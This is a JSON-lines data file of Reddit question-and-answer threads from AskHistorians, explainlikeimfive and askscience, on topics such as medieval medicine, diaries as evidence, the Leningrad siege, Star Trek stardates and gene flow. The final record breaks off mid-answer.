{"q_id": "y8pzc", "title": "Are there any known books on medieval pharmacology?", "selftext": "I've always been interested in what the medieval apothecaries used in their shops besides the well known treatments of leaches, blood letting, etc. Are there any books on what medicines were used before modern science?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y8pzc/are_there_any_known_books_on_medieval_pharmacology/", "answers": {"a_id": ["c5thwjo"], "score": [6], "text": ["[Yes](_URL_1_). \n\n[Yep](_URL_0_). \n\n[Lots more here](_URL_2_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bl.uk/reshelp/pdfs/harleiancollectionlist.pdf", "http://www.nlm.nih.gov/hmd/medieval/treatises.html", "https://www.google.com/search?q=medieval+medical+treatise&amp;sugexp=chrome,mod=15&amp;sourceid=chrome&amp;ie=UTF-8"]]}
{"q_id": "44qfwu", "title": "how can a diary be admissible as evidence? couldn't it be completely forged the night before?", "selftext": "I see diaries often mentioned as great tools for keeping organizations honest and a few big political cases where diaries or personal journals became major evidence.\n\nIs it just so the journal-keeper can keep better track of his or her own memories better or are they validated in some way?\n\nedit: The ELI5 gist I'm getting is that it's usually considered something along the lines of a verbal testimony, and not usually used by itself to decide a case, but that there are a lot of variables involved such as how important the diary evidence might be, and it has the added weight that it's already written and cannot be changed later. And there are ways to at least validate that it was written when it was claimed to have been written.\n\nThanks for the answers guys!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44qfwu/eli5_how_can_a_diary_be_admissible_as_evidence/", "answers": {"a_id": ["czs3hwf", "czs3i4h", "czs3x6w", "czs4y2j", "czse8yp"], "score": [67, 3, 6, 5, 9], "text": ["They can be evidence as much as any other written document can be. Yes, a diary could have been forged. But so could any other written document. Just like a witness might be lying, computer evidence falsified or any other kind of evidence corrupted. Evidence has to be critically examined to ensure that, as best as can be determined, it's genuine. \n\nFor example, if the relevant diary entry was in a different hand, different pen and on a page stapled into the rest of the diary, there would be good grounds for assuming it was false. ", "A diary or journal would be *hearsay* - in a court, it couldn't be used as proof an event did or did not occur.  However, if the writer of the diary is present in the court, then it can be used - you can put them on the stand to say \"That's true\", or present it as evidence that contradicts their testimony; in either case transforming it from hearsay into testimony.  Because it's written down shortly after the fact, it would be accorded more weight than someone's memory.\n\nIt could also be used as a weak form of date validation - researchers often keep a journal in case they need to prove they thought of an idea first.", "If a diary is genuine and the writer can give evidence of what is contained in it then it is superb evidence. If I wrote down a conversation with a person on the day it happened, before it became contentious then that is excellent evidence it occurred. ", "That is a good question. The movie Gone Girl is one such example where the female character writes a completely bogus diary, to build a strong evidence supporting her.", "You're conflating two concepts, weight/credibility and admissibility. Whether or not the diary could be forged goes to weight and how much credibility you should afford it as evidence. Whether it is admissible is a whole other set of questions. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "24ip84", "title": "When did the food reserves run out in Leningrad? Also how common was cannibalism in the city, and if one resorted to it how likely was the person to get caught?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24ip84/when_did_the_food_reserves_run_out_in_leningrad/", "answers": {"a_id": ["ch7mkes"], "score": [19], "text": ["The buttocks of a few corpses were reported as being 'harvested' but really it was just rumour, the most extreme example of what people did to stay alive are two of my favourite \"darker than the darkest thing ever\" history facts.\n\nThe local river and lake were a source of fresh water, unfortunately to the residents they had been the site of a massive fight and were littered with dead bodies which tainted the water before they froze over stopping the process. The net result were hungry russians attempting to melt what ice they could cut into water that was sweet with decay, that or they ate the ice and died of pneumonia.\n\nA supply warehouse was shelled early in the siege setting fire to the sugar supplies severely hampering rationing efforts for the Soviets. Towards the end of the siege people discovered they could eat the soil underneath the former warehouse as the sugar had melted down and collected as a substrate. Harvested soil could then be fried in paint thinner to melt out the sugar or just eaten raw. \n\nNot quite cannibalism but I believe the efforts people went to for food shows that they did resort to cannibalism lightly if they ever did. \n\nReagan, Geoffrey. Military Anecdotes (1992) p. 12 Guiness Publishing ISBN 0-85112-519-0"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8w4kz5", "title": "why is light frequency generally measured in distance but sound frequency in time (nm vs hz)?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8w4kz5/eli5_why_is_light_frequency_generally_measured_in/", "answers": {"a_id": ["e1snbxi", "e1svusj"], "score": [4, 2], "text": ["Light frequency is also measured in Hz. Light wavelength is measured in nm. Sound wavelength is comparatively huge and unhelpful, so we use Hz, whereas light frequency is a very big number that doesn't mean much so we use nm. It's pretty arbitrary since the units can be interchanged without loss.", "There is a fixed speed of light which we use as a standard reference and the speed of light in air is pretty similar to that.  I know that c is 3x10^8 meters/second so light with a wavelength of 3x10^3 meters is 10^5 Hz.\n\nThere isn't a fixed speed of sound.  The speed of sound in dry 20C air is 343 m/s, but the speed of sound in 40C dry air is 354.8 m/s and in 0C air its just 331.4 m/s.  That's a 7% variance just over a reasonable range of temperatures.  Your 1 kHz sound ends up with a significantly different wavelength in cold air than it has in hot air, but you still hear it as 1 kHz because you hear frequency not wavelength."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "45kk4v", "title": "Today the leaders of the Eastern and Western churches have met for the first time in nearly 1000 years. Why did the attempts at healing the schism, at Lyon in 1274 and Florence in 1439, previously fail? A similar proposed meeting between John Paul II and Alexy II likewise collapsed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/45kk4v/today_the_leaders_of_the_eastern_and_western/", "answers": {"a_id": ["czyjd4z", "czyo3pj", "czyolx2", "czyrgw7"], "score": [55, 18, 5, 7], "text": ["Please correct me if I'm wrong, but this is not the first meeting of the eastern and western churches. This is the first meeting between the Pope and the Patriarch of the Russian Orthodox Church, which has existed for around 400 years. ", "Lyon was probably the best chance of the two reuniting but by then it was too late. \n\nAs back story, 1274 was shortly after the Latin rulers were expelled from Constantinople. IN 1204 the leaders of the Fourth Crusade diverted ever so slightly from their plans to capture Jerusalem from the Muslims to sacking Constantinople and making it the capital of *their* Eastern empire. There is a lot to that story but it's not the point of this question. They were finally forced out in 1261 by Emperor Michael VIII Palaeologus. But the Latins had completely trashed the place. Not only had they looted and stripped it of most of its worth but they completely dismantled the Greek bureaucracy that was in place, which was a disaster. It completely disrupted trade routes and tax collection and efficient administration of things like grain distribution. They faced serious famine even as their population dwindled and dwindled. The Latins also attempted to replace of the Orthodox church and made Roman Catholicism the official church. But they didn't completely get rid of it. This wasn't all sanctioned by the Pope but he also didn't do much about it. \n\nSo here is Michael Palaeologus just reconquering the jewel of the East. And what does he get? A looted city and territory, decimated population through out the empire, a disrupted bureaucracy,  and little means to do much about it. Oh, and the whole reason for that crusade, the Islamic expansion, still surrounded him. \n\nPalaeologus knew that he needed an effective union with the West to survive. For all of their difficulties they were his only true source for allies. And one of his greatest risks as enemies.  As such he was adamant about reuniting the two churches (take the obstacle of religion out completely). The council of Lyon went very well. He appointed a Patriarch who would be a valiant fighter for the reunification, John Bekkos. The emperor violently suppressed any opposition. If anyone was going to bring about unification it would be him (unless you had a pope willing to become Orthodox, which obviously would never happen). \n\nBut it was just too late. First of all, many of the people, who had long considered the West heretics anyway, now despised the Latins and the Church they associated with them. Understandably so considering their disastrous conquest and rule. Second, there were differences in doctrine that may seem small to those outside but were too big for the clergy of the Orthodox Church to ever accept. One big one was the nature of the Holy Spirit (did it proceed through the father and the son, as the West believed, or through the father alone, as the East believed). But other issues as well. \n\nEssentially, it was incredibly unpopular with both the people, who wanted their religion, and the clergy. I think a key thing to think about in all of this is it wasn't the Catholic Church that would be making many compromises in this union. \n\nMichael Palaeologus's son Andronikos II renounced the union. Poor John Bekos was removed from office and spent some of the next years under house arrest. But he remained a valiant crusader for unification all his life. Writing passionately about it and getting some traction with the church hierarchy to reconsider (there were some councils on reunification) but never actually making them change their minds. \n\nIn 1439, although the Latin conquest was less of an open sore, most of these problems remained. The people didn't want to become Roman Catholic. Some would prefer to be conquered by Muslims than be forced to be Catholic (which was perhaps valid since, although it was reduced in status and not as well maintained, a lot more mosques being  built than churches, it's not as thought the Turks eliminated the Greek Orthodox Church). But, also, by this point there was little chance of a union with the West doing any real good. The western leaders weren't interested in saving Constantinople no matter how many calls for crusade the Pope may give. It was really a last ditch effort that was just too late. \n\nEdited to fix typos. ", "Lyon in 1274 was driven by Pope Gregory X, and Michael VIII accepted to avoid a planned crusade by Charles of Anjou. The union of churches made such a crusade impossible. Michael appointed a new patriarch but was left with schismatics within the Empire and rejection of the union outside in Trebizond, Epirus and Thessaly. \n\nHowever the election of a new pope Martin IV in 1280 friendly to Charles led  to Martin declaring a lack of genuine reunion due to the large Byzantine opposition and excommunicated Michael in the autumn. Michael died in 1282 and Andronicus II immediately repudiated the union of Lyon and reinstated the old patriarch.\n\nAs far as the Union of Florence, the Emperor and all but two of his seven hundred delegates agreed to it. On return to Constantinople, there was some rebellion amongst the delegates. The patriarchs of Alexandria, Antioch and Jerusalem all repudiated their delegates consent to the union. The patriarch eventually chosen for Constantinople faced rebellion from his priests and bishops.\n\nHowever, this did result in the crusade of Varna, where Ladislas King of Hungary and Poland was killed. The Union lasted till the fall in 1453, whereby Mehmed the conqueror installed an anti-unionist patriarch for his new capital. Without such a mandate as Byzantium leading the Eastern church and forcing Union, it was resisted by the Eastern faithful and was not practical to follow.\n\nSource - A History of Byzantine State and Society, Warren Treadgold. ", "PlinytheHipster and The_77 have given great answers. I've studied the Council of Florence pretty extensively, so I would just add a bit more detail to what they've said already. The relationship of the Emperor and Patriarch in the Byzantine Empire was, officially, much closer than that of the Roman Pope to any European ruler. Partly because of this, the Emperor (who was present in person at the Council of Florence!) was able to exert quite a lot of pressure towards unification. The degree to which he actually did so is a matter of much debate. Nevertheless, the council dragged on for months before any actual negotiations started due to a lot of procedural arguments. Then, when negotiations did start, there was a protracted period of stalemate while the same issues (mostly again the \"procession\" of the Holy Spirit) were debated without progress. When an agreement was finally signed, allegedly under increasing pressure, the Latin church conceded virtually nothing and the Patriarch died almost immediately afterwards. Consternation ensued. After the Greek delegation returned home in disarray, as mentioned, some defended the agreement, while others claimed (essentially) that they only signed off because the accommodations and food provided them were lousy and they just wanted to go home. Furthermore, the Byzantine man in the street didn't really trust the church hierarchy that much, in part because of their close relationship to the emperor. Greek Orthodox monks had a lot more popular influence than the clergy, but the monks weren't included in the Florence negotiations, with predictable results. As the monks and the people saw it, the emperor and prelates had betrayed them, and they were having none of it. Part of the reason that we now have several different Orthodox churches is because Constantinople finally fell to the Ottomans a little over a decade after these events."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5metlf", "title": "please explain the star trek stardate calendar system. is it nonsense or based on something scientifical?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5metlf/eli5_please_explain_the_star_trek_stardate/", "answers": {"a_id": ["dc2zqiz", "dc30ilg", "dc31sgh", "dc3dsbr", "dc3h9sl", "dc3iwl0"], "score": [4, 337, 45, 6, 2, 2], "text": ["It's entirely nonsense. In the original *Star Trek* series, there are even a couple notable backlogs and duplicates. In *Star Trek: The Next Generation*, the writer staff had a guy dedicated on ensuring each use of a stardate was sequential.\n\nThe fan base *may* have invented a calendar system around it that makes some sense, but I don't think any actual system is officially endorsed into the cannon.", "In the original series the stardates were made up just to sound futuristic.  There have been some attempts to explain them, but the original writers didn't have a secret code.\n\nStarting with The Next Generation, they standardized them.  \n\nThe first number (4) represented the four in 24th century.\n\nThe second number was the season of the show.  TNG originally went for 7 seasons, but of course there was DS9 and Voyager meaning this number would go over 10, so that increased the the first number from a 4 to a 5.  if you hear the first two numbers of the stardate, you get a good idea how many years since the TNG premier.\n\nThe last group of numbers 000-999 was the progress of the show through the season.\n\nThe decimal point was what part of the day it was.\n\n", " > Something scientifical\n\nuhh.... wut?", "/r/DaystromInstitute or even /r/startrek would be a much more accurate place to get information and an explanation than ELI5.", "According to the \"Star Trek: The Next Generation Technical Manual,\" written [early nineties (I'm at work, book's at home)] by Rick Sternbach and Mike Okuda (and if you don't know who they are...), Stardate 00000.0 occurred on the day of First Contact (Frakes' movie, that is), increasing by one every day.  The numbers after the decimal point indicate the time of day, e.g. noon being \"point five.\"\nBeen a few years since I've opened the book, but I believe that's where I saw it.", "What I do admire is that almost every other sci-fi show/movie, when dealing with other civilizations, planets, galaxies, and the vast distances and time-space mechanics involved, just stick with days/months/years as the basis of time for everyone concerned.  \n\nI never could figure out how long a senton- septon - centar- was.  The new BSG abandoned that crap from BSG the TV show. \n\nWhat other sci-fi time/distance systems have been tried , only to confuse and weaken the story? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "7nbme4", "title": "Is oxygen evenly dispersed across the planet?", "selftext": "Is oxygen more prominent in the rain forest more so than the desert? Is there an area with the least and most oxygen? I mean low elevations of course. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7nbme4/is_oxygen_evenly_dispersed_across_the_planet/", "answers": {"a_id": ["ds0qjkg", "ds0zhm0"], "score": [98, 27], "text": ["This question got me curious, and there wasn't much I could find but I could not imagine there aren't some consistent trends in differential molecular oxygen quantity and/or concentration in the troposphere despite all of the mixing, no matter how minute. I was, however, able to find [this](_URL_0_) chapter from *Biogeochemistry* edited by William H Schlesinger which contains this pertinent excerpt:\n\n > Approximately 21% O\u2082 in the atmosphere represents an average composition. In spite of well-developed turbulent mixing in the lower atmosphere, seasonal latitudinal variations in O\u2082 concentration of \u00b115 ppm have been recorded. These seasonal variations are most pronounced at high latitudes, where seasonal cycles of primary production and respiration are strongest (Keeling and Shertz, 1992). In the northern hemisphere, the seasonal variations are anticorrelated with atmospheric *p*CO\u2082; summers are dominated by high O\u2082 (and high inferred net photosynthesis), while winters are dominated by lower O\u2082. In addition, there has been a measurable long-term decline in atmospheric O\u2082 concentration of ~10\u00b9\u2074 mol yr\u207b\u00b9, attributed to oxidation of fossil fuels. This decrease has been detected in both long-term atmospheric monitoring stations (Keeling and Shertz, 1992, Figure 1(a)) and in atmospheric gases trapped in Antarctic firn ice bubbles (Figure 1(b)). The polar ice core records extend the range of direct monitoring of atmospheric composition to show that a decline in atmospheric O\u2082 linked to oxidation of fossil fuels has been occurring since the Industrial Revolution (Bender *et al*., 1994b; Battle *et al*., 1996).", "The differences are so tiny that they're difficult to measure.\n\nOne way to estimate it: Oxygen (O2) is mostly removed by combustion and respiration to form carbon dioxide (CO2), and is created by photosynthesis *from* CO2.  So to a rough approximation, every time we create or destroy a molecule of CO2, we destroy or create a molecule of O2.\n\nHere's a [satellite map](_URL_0_) of CO2 variations across the world: they vary by about 15 parts per million -- that's .0015 percent -- from place to place.  Overall average CO2 level is about 390 ppm, so these variations are small but detectable.  From the argument above, that means that O2 should also vary by about the same amount ... but there's *so* much more oxygen, making up on average 20.946%, that the .0015% is tiny by comparison.\n\nSo from place to place, we'd expect that oxygen concentration should vary from a low of 20.945% to a high of 20.948%.  Basically not gonna make any difference, and almost impossible to even measure.\n\n\n.* Experts note: this is a rough estimate only, and doesn't factor in stuff like molar vs mass concentration, formation of CO and other compunds, etc.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://people.ucsc.edu/~mdmccar/migrated/ocea213/readings/08_oxygen/petsch_TOG_8.11_The_Global_O_Cycle.pdf"], ["https://www.nasa.gov/jpl/oco2/pia18934"]]}
{"q_id": "4pmkvq", "title": "Is there a website where one can see the line spectra for every element?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4pmkvq/is_there_a_website_where_one_can_see_the_line/", "answers": {"a_id": ["d4m5f6g", "d4m5t2p"], "score": [19, 10], "text": ["The [NIST Atomic Spectral Database](_URL_0_) has very comprehensive data for many elements. Specifically for spectral lines, you can use the form [here](_URL_1_) to get started.", "Click an element to see it's spectrum:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nist.gov/pml/data/asd.cfm", "http://physics.nist.gov/PhysRefData/ASD/lines_form.html"], ["http://chemistry.bd.psu.edu/jircitano/periodic4.html"]]}
{"q_id": "4b9ul1", "title": "why did the parents of the columbine perpetrators have to pay a settlement? would it be different if the perps were 18+?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4b9ul1/eli5_why_did_the_parents_of_the_columbine/", "answers": {"a_id": ["d178udn", "d17culn", "d17goy1"], "score": [19, 50, 3], "text": ["It would probably not be different if they were over 18, assuming they still lived with their parents and all else equal. The reason for the suit was:\n\n\"In the negligence lawsuits, the families claimed the parents of the shooters knew, or at least should have known, about the possibility that their sons would carry out the attack. Investigators found bomb-making materials and weapons in the bedrooms of the gunmen and uncovered a diary that revealed they had planned the rampage for at least a year. Investigators also found that Harris had maintained a hate Web site up until his death.\" _URL_0_\n", "Key word is that they *settled* - my understanding is that no court ruled that they were required to pay anything.\n\nAs often happens, at some point the parties decided that the risks involved and the costs of proceeding further weighed in favour of settlement. Presumably the parents weren't the ones even making that decision, but their insurers.", "I worked for an insurance company that represented a couple sets of the parents. They settled only because of the bad publicity that fighting the case would have earned them. They were not liable and would have paid nothing if they fought the lawsuit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://abcnews.go.com/US/story?id=93525&amp;page=1"], [], []]}
{"q_id": "2xonvf", "title": "Since heavy atoms are created in stars when they explode and Lead is higher up on the periodic table than Gold, why is there so much more lead on Earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xonvf/since_heavy_atoms_are_created_in_stars_when_they/", "answers": {"a_id": ["cp21gqz", "cp21jjt", "cp21ll0", "cp21z2y"], "score": [2, 17, 6, 59], "text": ["This [image](_URL_1_) is a graph of the relative abundance of elements in the solar system.  Some atomic nuclei have a higher probability of forming than others due to the way heavier atoms are fused in stars and through other processes, which is also why, for example, Carbon, Oxygen and Nitrogen are more abundant than Beryllium, Lithium or Boron (in addition to every other heavier element).  \n\nYou can see from the graph that gold (Au) is slightly less abundant than lead (Pb) in the solar system, which is explained by this theory of [Stellar Nucleosynthesis](_URL_0_).  According to the theory, Gold should be slightly less abundant than lead in general, though it's likely to vary slightly by solar system due to the inherent slight differences in compositions of gas clouds.\n\nEdit: I should note that the graph is a logarithmic scale; the difference between gold and lead appears to be an order of magnitude, so it's not such a 'slight' difference in abundance when compared to each other.\n", "I don't know if this explains your observation (because it is a qualitative answer to a quantitative question), but it is certainly true: many radioactive elements end their respective decay sequence as lead; none of them end their decay sequence as gold.  For example, uranium-238 will eventually decay into the stable lead-206.  As the universe aged and elements like uranium-238 decayed there was more and more lead produced while the amount of gold stayed constant.\n\nI would *naively* expect that roughly the same amount of lead and gold are produced by supernovas because they have very similar binding energies per nucleon (i.e. they're almost equally favourable energetically).  With that said, supernova and heavy ion fusion in general are complicated, non-equilibrium processes which may not satisfy my naive expectations.", "I believe that at least part of the answer is that lead is a stable decay product of a lot of nuclear reaction chains, while for is not - so if you started with elements distributed by their formation frequency you'd have more gold, but over billions of years many of the rarer elements will turn into lead while the amount of gold remains constant.", "Others have answered your question by explaining why more lead is produced by stellar fusion than gold, but I think what you might be asking is \"why is lead so much more commonly found on earth and gold is rare?\"  In which case the answer isn't really that lead is the more plentiful element (true, but only by a little).  The answer is that most of the gold on earth has made its way to the core, because gold dissolves easily in iron. See _URL_0_ for more info. Most of the gold accessible to us now (in the crust) was likely deposited by asteroids. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Nucleosynthesis#Stellar_nucleosynthesis", "http://en.wikipedia.org/wiki/Nucleosynthesis#mediaviewer/File:SolarSystemAbundances.png"], [], [], ["http://en.wikipedia.org/wiki/Goldschmidt_classification"]]}
{"q_id": "18l52o", "title": "why is papua new guinea considered part of oceania, and indonesia considered part of asia, when they share an island?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18l52o/why_is_papua_new_guinea_considered_part_of/", "answers": {"a_id": ["c8fszjo", "c8ftdjh", "c8fu4lh", "c8fv5hd", "c8g342x"], "score": [4, 25, 5, 2, 2], "text": ["Indonesia is spread across two regions, Asia and Oceania. Since most of Indonesia is in Asia, people think of it as Asian. Papua New Guinea is entirely in Oceania.", "It's an arbitrary measurement, but it is likely due to the fact that Papua New Guinea was under Australian control until 1975 and is still strongly within Australia's sphere of influence (particularly in aid). This is likely why it is set as the border between Asia and Oceania/Australia/etc as it has stronger ties with its southern neighbors than its western and northern ones.\n\nEdit: Forgot you were five. So people aren't really sure where continents start and end, so they put the borders where they think it makes the most sense. Papua New Guinea likes to talk to Australia more and has been better friends for a longer time than with Indonesia, so people thought that they would like to be in Oceania because Australia is there. Indonesia isn't good friends with Papua New Guinea and spends more time talking to its other neighbors like Malaysia and so people thought it should be in Asia. That's why people thought that Papua New Guinea and Indonesia should be on different continents even though they share an island.", "Indonesia is a lot of islands. *Most* of Indonesia's islands are in Asia. The line between Asia and Oceania is not completely clear, but there are a few lines people have used to divide them. One of them is called the Wallace Line, named after a guy named Wallace, who studied the birds, plants, and animals in the middle area, and determined that on this side of the line, the animals and plants were more similar to Asian animals, and on the other side, the animals and plants were more similar to Australian animals.\n\nThe island of Papua, which PNG and Indonesia share, is completely in the area considered to be Oceania. But whereas PNG is mostly on the island of Papua, Indonesia stretches all the way to Thailand. It includes the island of Sumatra and most of the island of Borneo, which are both much larger than the half of Papua in Indonesia. Those other islands which make up a larger part of Indonesia are completely in Asia. \n\nSo, since most of Indonesia is in Asia, it's mostly an Asian country. Since all of PNG is in Oceania, it's an Oceanian country.", "Basically because you have to draw the line somewhere.", "Oceania itself isn't really a proper continent in the way that Asia is. In Australia no-one really uses the term, we just don't consider ourselves to be part of any continent.  I'm often surprised when I go overseas and hear people use it. \n\nStrictly speaking, a continent is a large body of land, so a continent called \"Oceania\" doesn't make much sense. The main reason PNG isn't considered part of Asia is cultural: PNG is culturally much more Polynesian than it is Indochinese "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "789m81", "title": "george soros", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/789m81/eli5_george_soros/", "answers": {"a_id": ["dos3b3m", "dos86b6"], "score": [24, 14], "text": ["He a billionaire who donates money to causes he supports, but because he\u2019s liberal and Jewish, the right wing tap into the old tropes of anti-Semitism, especially the lies surrounding Jewish bankers/financiers. ", "He's the liberal version of the Kochs. Literally: They both founded Washington think tanks, they both support politicians that share their views, they both fund academic organizations, etc.\n\nSo, they both attract the conspiracy theorists from the opposite side of the political spectrum."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "42ebpm", "title": "Despite not being one of the presidential candidates in the US election of 1860, Jefferson Davis was selected to be president of the Confederacy. Why was he chosen? Who chose him? And why weren't one of the presidential contenders chosen instead?", "selftext": "Why not Breckenridge or Bell?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/42ebpm/despite_not_being_one_of_the_presidential/", "answers": {"a_id": ["cza2oh2", "czaaxoz"], "score": [102, 6], "text": ["I just happen to be reading 'Embattled Rebel' by James McPherson - a very well-written analysis of President Davis' leadership during the War.\n\nIn it he says that Davis had expected the job to go to Howell Cobb of Georgia but that the convention at Montgomery had chosen Davis specially because of his military background.  People seem to disregard his extensive military experience these days:  West Point graduate - 1828.  Served seven years in various Army posts and fought in the Mexican-American War as a Colonel.  Was recognized for bravery at Buena Vista and was wounded there.  Served as Secretary of War under Franklin Pierce.  Chairmen of the Senate Commitee on Military Affairs.  In January 1861 he was named a Major General of the Army Of Mississippi - a job he coveted.\n\nDavis had expected to be offered the position of General-in-Chief of the Confederate Army by the convention and did not want the Presidency but he had a strong sense of duty and accepted.  He worked tirelessly and his health suffered greatly during the war because of the long hours he kept and the stress of dealing with all of the minutae of dealing with military matters.  He was a very hands-on although somewhat reluctant President.  ", "Both Bell and Breckenridge came from states that had not joined the Confederate States at the time of Davis's election, moreover Bell had ran as a Unionist Candidate in the 1860 election."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "36yuyh", "title": "What causes gene flow?", "selftext": "What exactly is the mechanism that allows genes from one species to enter the genetic code of another?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36yuyh/what_causes_gene_flow/", "answers": {"a_id": ["crib0yc", "crib3vq"], "score": [4, 3], "text": ["That'd be horizontal gene transfer.\n\nGene flow is the transfer of genes from one *population* to another. If I pack up and move myself and my genes to Spain or Iceland and have lots of kids then that's gene flow.\n\nHorizontal gene transfer is the transfer of genes from one *species* to another.\n\nUsually this involves a virus. Viruses insert their genes into your genes and reprogram your cells to make copies of the virus. However, sometimes the second part doesn't happen and the viral genes become inactive and are permanently stuck in your genome. These inactive viruses can be passed down if the virus infected a germline cell (a cell involved in the production of sperm or eggs).\n\nWe have a lot of these. About 8% of the human genome is [inactive viruses](_URL_1_).\n\nCells will also occasionally scoop up bits of DNA from their environment. This is more of a thing with bacteria scrounging for useful bits of code like [resistance plasmids](_URL_0_); eukaryotes like us [hardly ever just absorb genes](_URL_2_) - but it can happen.", "I think you may have a slight misunderstanding of what gene flow is \"In population genetics, gene flow (also known as gene migration) is the transfer of alleles or genes from one population to another. Migration into or out of a population may be responsible for a marked change in allele frequencies (the proportion of members carrying a particular variant of a gene).\" So it's simply a change in allele frequency due to populations(not species) having been separated and then meeting up again. Changing allele frequencies are due to Hardy Weinberg equilibrium if there is no selection and due to a type of selection if there is selection acting on the trait determined by that allele."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Plasmid-mediated_resistance", "http://phenomena.nationalgeographic.com/2013/05/10/the-lurker-how-a-virus-hid-in-our-genome-for-six-million-years/", "http://news.sciencemag.org/biology/2015/03/humans-may-harbor-more-100-genes-other-organisms"], []]}
{"q_id": "22jc60", "title": "why other subreddits are buying ad space on reddit linking to their subreddit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22jc60/eli5_why_other_subreddits_are_buying_ad_space_on/", "answers": {"a_id": ["cgncyh1"], "score": [17], "text": ["They are trying to increase their reader total. If they can't spread the word about their subreddit, they can't possibly grow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3vbetp", "title": "why aren't stethoscope tubes filled with liquid to allow sound to travel through them more effectively?", "selftext": "It seems to me that since sound travels through liquid more effectively than air, specialized stethescopes filled with a fluid would convey sound better. \n\nYet I can find such special stethescopes online. Do they exist? Why or why not?\n\nBackstory: found a stethescope in a box the other day and it's fascinated me way too much.  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vbetp/eli5why_arent_stethoscope_tubes_filled_with/", "answers": {"a_id": ["cxlzgux", "cxm4227", "cxm7etb", "cxm7wq9", "cxm9nhj", "cxms30f"], "score": [18, 12, 15, 3, 2, 2], "text": ["They work just fine how they are now. You only need to be able to hear so well to understand whats going on with a heart, and current tech is more than efficient enough for that need. ", "Our ears are designed to hear sound transmitted through air so filling the tube with fluid would change how something sounds so doctors would have to be retrained on what to listen for. Also filling a stethoscope with fluid would require a lot more maintenance since it could leak or if there was any air inside it wouldn't work as good. The current design is basically maintenance free and can take quite a beating.", "Have you ever tapped on a stethoscope's end while wearing one? It's incredibly loud, to the extent of hurting.\n\nStethoscopes only need to be loud enough to listen for medical problems, not loud enough to burst your ear.", "Even if it were better and you didn't have to relearn what everything sounds like, there is still the matter of money. Stethoscopes filled with any liquid would cost a lot more, and thus they would not be competetive as long as the current product is good enough.", "Would the sound not be muffled if it was traveling through liquid?", "A stethoscope works by vibrations in a tympanic membrane creating peaks and troughs of air that transfer up the tube and into your ear canal. Our ears detect sound by sensing vibration in air. \n\nSo what your proposing is that vibrations be created by a tympanic membrane, from air to a liquid medium, travel through the tube, you would need another membrane to convert the vibrations from liquid to air and into our ears. It's just an unnecessary step in which vibrations could be lost in the transfer of medium. \n\nOur ears hear by using vibration waves in air, so it makes sense to use air when transfering vibrations from the bell of a stethoscope to the eardrum. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1ugwjs", "title": "What is the origin of the Pew?", "selftext": "I know not every church has Pew, correct?  \n\nHow did they become so common, even in multiple faiths?  \n\nWhere did they start, and how were they spread? Was there any objection within faiths when they started popping up (perhaps as an 'influence from heathens', type thing)?\n\nI'm very interested in internal conflicts regarding styles of worship, sitting/standing/prostrate/etc and how they relate to the adoption of the Pew. \n\nEdit:  and what was the standard seating style before Pews? Especially in a church that didn't and then installed pews.  How did the congregants deal with the transition? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ugwjs/what_is_the_origin_of_the_pew/", "answers": {"a_id": ["ceiaash", "ceihpjv"], "score": [5, 2], "text": ["Early churches probably didn't sit. I'm basing this on current Orthodox praxis, and that the Orthodox church is very reluctant to change anything. The praxis is based on a NT verse - something about \"standing before the Lord\", but I don't recall the detail.\n\nIn mediaeval times, some churches were built with stone benches at the bases of the walls for the use of the old - hence the saying \"the weakest go to the wall\". These can still be seen. In Britain at least (I think also more widely), monasteries had individual seats for the choir monks (as opposed to the lay monks), facing across the church. These can be folded up to allow more room for standing during some parts of the service, but a common feature is a \"misericord\", a small ledge which is at bum height when the seat is folded and the monk is standing. The word means \"pity\" or \"sympathy\", and was supposed to 